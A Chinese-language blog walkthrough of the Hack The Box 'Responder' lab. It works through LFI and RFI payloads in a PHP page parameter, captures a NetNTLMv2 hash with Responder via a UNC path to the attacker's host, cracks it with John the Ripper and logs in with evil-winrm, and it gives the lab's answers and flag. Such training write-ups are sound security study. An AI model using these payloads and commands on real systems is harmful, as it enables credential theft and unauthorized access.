iT邦幫忙

0

【HTB】Hack the box: Starting point靶機 - Responder

  • 分享至 

  • xImage
  •  

最近在學習如何尋找靶機的弱點,先從Hack the box的starting point開始,打到一半想要記錄一下學習的過程。每個靶機官方都有提供write-up,讓使用者跟著一步一步破解。

這個實作主要讓使用者了解在windows的機器上,在web裡的文件漏洞(File inclusion)能夠如何被利用來搜集NetNTLMv2。我們將使用responderjohn the ripper分別破解NetNTLMv2的雜湊以及測試數百萬個可能密碼檢視是否與原始創造雜湊值的密碼一致。

Steps步驟

首先,例用nmap確認目前目標靶機有哪些port是開啟的,並且了解目前什麼服務正在使用。

nmap -p- --min-rate 5000 -sV [ip]

-p-: 掃描每個port
--min-rate: 以這個例子為例,nmap嘗試每秒傳送5000個封包。
-sV: 顯示port的服務是哪些,例如redis、MySQL等。
[ip]:你目標靶機的ip位置

https://ithelp.ithome.com.tw/upload/images/20230510/20145688bdVdCgZbqd.png
從結果可以看到,port 80、5985、7680,這三個port是開啟的,且前兩個使用的服務為http。
這裡有一點須特別留意,-sV告訴你開啟的port所使用的服務是什麼,但他是利用port-sevices這個資料庫去查詢常見的服務對應於特定的port,因此nmap所提供的service不一定完全是正確的

Task 1

When visiting the web service using the IP address, what is the domain that we are being redirected to?
這個問題在詢問目標靶機的網域在哪裡,我們只要將目標靶機的ip輸入至網頁裡就能夠知道答案。
https://ithelp.ithome.com.tw/upload/images/20230510/20145688Dm9c7o6HbK.png
這題的答案為 unika.htb

目前無法顯示網頁內如容是因為這個網站使用基於網域的虛擬主機(name-based virtual hosting),在同一個機器以及ip,架設多個網域名稱例如example.com、htb.com等。

在linux系統,/etc/hosts這個路徑儲存了ip所對應的主機名稱,因此我們必須將[ip]以及unika.htb加入這個檔案裡。

echo "[ip] unika.htb" |sudo tee -a /etc/hosts

上面的指令將會把[ip] unika.htb輸出,並且寫入/etc/hosts這個檔案裡。
https://ithelp.ithome.com.tw/upload/images/20230510/201456882FKivvhDgk.png
現在檢視/etc/hosts這個檔案,可以看到我們已經將這個ip與domain連結,當輸入這個ip到網址時,就會導到這個網站。

讓我們重整頁面
https://ithelp.ithome.com.tw/upload/images/20230510/20145688gHw04jZyiF.png
現在網站已能夠成功地顯示

隨意瀏覽這個網站可以發現,點選HOME, ABOUT, SERVICES, WORKS, PRICES, CONTACT後,網址並沒有更動,當選擇其他語言時,以德文為例,網誌後將出現page這個參數,從http://unika.htb ,變成http://unika.htb/index.php?page=germna.html。 我們有興趣的是?後面的參數,能夠透過這些參數找出可能潛在的漏洞。
https://ithelp.ithome.com.tw/upload/images/20230510/20145688fuwbYOYKqr.png

Task 2

Which scripting language is being used on the server to generate webpages?
關於這個問題,當我們點選語言後就顯示出後端是用php編寫的。

Task 3

What is the name of the URL parameter which is used to load different language versions of the webpage?
上面我們已經提到切換語言後的網址出現一個新的參數,page

大部分的網站會寫不同的HTML去呈現不同頁面的結果,很少有網站不引入其他的HTML檔案。使用者可以使用GET或POST,取得或是傳送資訊給網站,設置cookie等。
Local file inclusion這個攻擊手法,駭客將利用server本地端導入的文件去探索敏感的資訊像是/etc/passwd,嘗試取得存取在電腦裡的密碼。Responder的作業系統為windows,我們嘗試取得他本地的敏感資料,現在我們將page這個參數改成 ../../../../../../../../windows/system32/drivers/etc/hosts
https://ithelp.ithome.com.tw/upload/images/20230510/20145688vivDZI9TRI.png
當我們能夠看到資訊時,代表我們攻擊成功了。我們之所以會成功是因為index.php裡包含include()這麼方法,將會讀取page這個參數的值。如果開發者沒有進一步處理page參數所得到的值時,這個攻擊就會成功。

php include函數的範例如下

File 1 --> vars.php
<?php
$color = 'green';
$fruit = 'apple';
?>
#############################################
File 2 --> test.php
<?php
echo "A $color $fruit"; // output = "A"
include 'vars.php';
echo "A $color $fruit"; // output = "A green apple"
?>

當test.php include vars.php後,color及fruit就被賦予值了。

Task 4

Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

剛剛我們提到如何取得敏感資料,我們利用../將目錄切換到上一層數次後,接著切換至本地的檔案。

Task 5

Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: "french.html", "//10.10.14.6/somefile", "../../../../../../../../windows/system32/drivers/etc/hosts", "minikatz.exe"

Remote file inclusion與local file inclusion相反,我們將利用遠端的檔案做攻擊,因此這題的答案為** "//10.10.14.6/somefile"**。

Task 6

What does NTLM stand for?

NTLM為new technology LAN manager的縮寫。

NTLM是由Microsoft所創造的一種安全協定,它是一個挑戰(challenge)與回應(response)的機制,認證client取得active directory裡的資源。其中一個特點就是single sign-on(SSO),只需要一次驗證過就能夠取得資源。

NTLM驗證的步驟如下:

  • 客戶端傳送user name以及domain name到伺服器端
  • 伺服器產生一個隨機的字串,我們稱它為挑戰(challenge)
  • 客戶將挑戰加密以及NTLM hash過後的密碼送回給伺服器
  • 伺服器取得使用者密碼
  • 伺服器將從安全帳號資料庫hash過後的值把挑戰值加密,如果與客戶端所傳送的值一致時,驗證通過。

利用Responder

接著,我們從github下載Resonder,它可以執行多個攻擊,在我們這個實作理它將設置一個惡意的SMB伺服器。

git clone https://github.com/lgandx/Responder

在這個folder裡,有一個檔案REsponder.config設置.py的參數,確認SMB服務已開啟。
https://ithelp.ithome.com.tw/upload/images/20230510/201456888kUqnm6vaZ.png

確認開啟後,我們執行responder.py,並且利用網路介面卡tun0

sudo python3 Responder.py -I tun0

執行後會開始監聽事件,當有事件發生時就會顯示出在terminal。
接著,進入http://unika.htb/?page=//10.10.16.6/whatever 這個頁面,在我們的終端機就會出現hash之後的值。

https://ithelp.ithome.com.tw/upload/images/20230510/20145688djB9Yme8oM.png
我們將hash值儲存下來

echo "Administrator::DESKTOPH3OF232:1122334455667788:7E0A87A2CCB487AD9B76C7B0AEAEE133:0101000000000000005F3214B534D
801F0E8BB688484C96C0000000002000800420044004F00320001001E00570049004E002D004E0048004500
3800440049003400410053004300510004003400570049004E002D004E00480045003800440049003400410
05300430051002E00420044004F0032002E004C004F00430041004C0003001400420044004F0032002E004C
004F00430041004C0005001400420044004F0032002E004C004F00430041004C0007000800005F3214B534D
801060004000200000008003000300000000000000001000000002000000C2FAF941D04DCECC6A7691EA926
30A77E073056DA8C3F356D47C324C6D6D16F0A0010000000000000000000000000000000000009002000630
06900660073002F00310030002E00310030002E00310034002E00320035000000000000000000" >
hash.txt

Hash爆破

這個部分我們將利用john來進行密碼爆破

john -w=/usr/share/wordlists/rockyou/txt hash.txt

https://ithelp.ithome.com.tw/upload/images/20230510/20145688rZI6R9BxNk.png
從結果可以看到密碼為badminton。

因為目標靶機的作業系統為windows,我們將利用WinRM服務嘗試進行連線。

evil-winrm -i [ip] -u administrator -p badminton

成功進入目標之後更改路徑至C:\Users\mike\Desktop\flag.txt取得最終結果。

https://ithelp.ithome.com.tw/upload/images/20230510/20145688wIMMIpY4uC.png

Task 7

Which flag do we use in the Responder utility to specify the network interface?
-I

Task 8

There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?
john the ripper

Task 9

What is the password for the administrator user?
badminton

Task 10

We'll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on?
關於這題,當我們進入靶機的powershell後,輸入以下指令已取得開啟的port。

netstat -aon

與我們一開始nmap掃瞄靶機的port重複的極有可能是解答,本題答案為5985

Task 11

Submit root flag
將上述我們進入靶機flag.txt裡的內容複製即可。
ea81b7afddd03efaa0945333ed147fac

這樣就完成攻擊這台responder靶機了
/images/emoticon/emoticon29.gif


圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言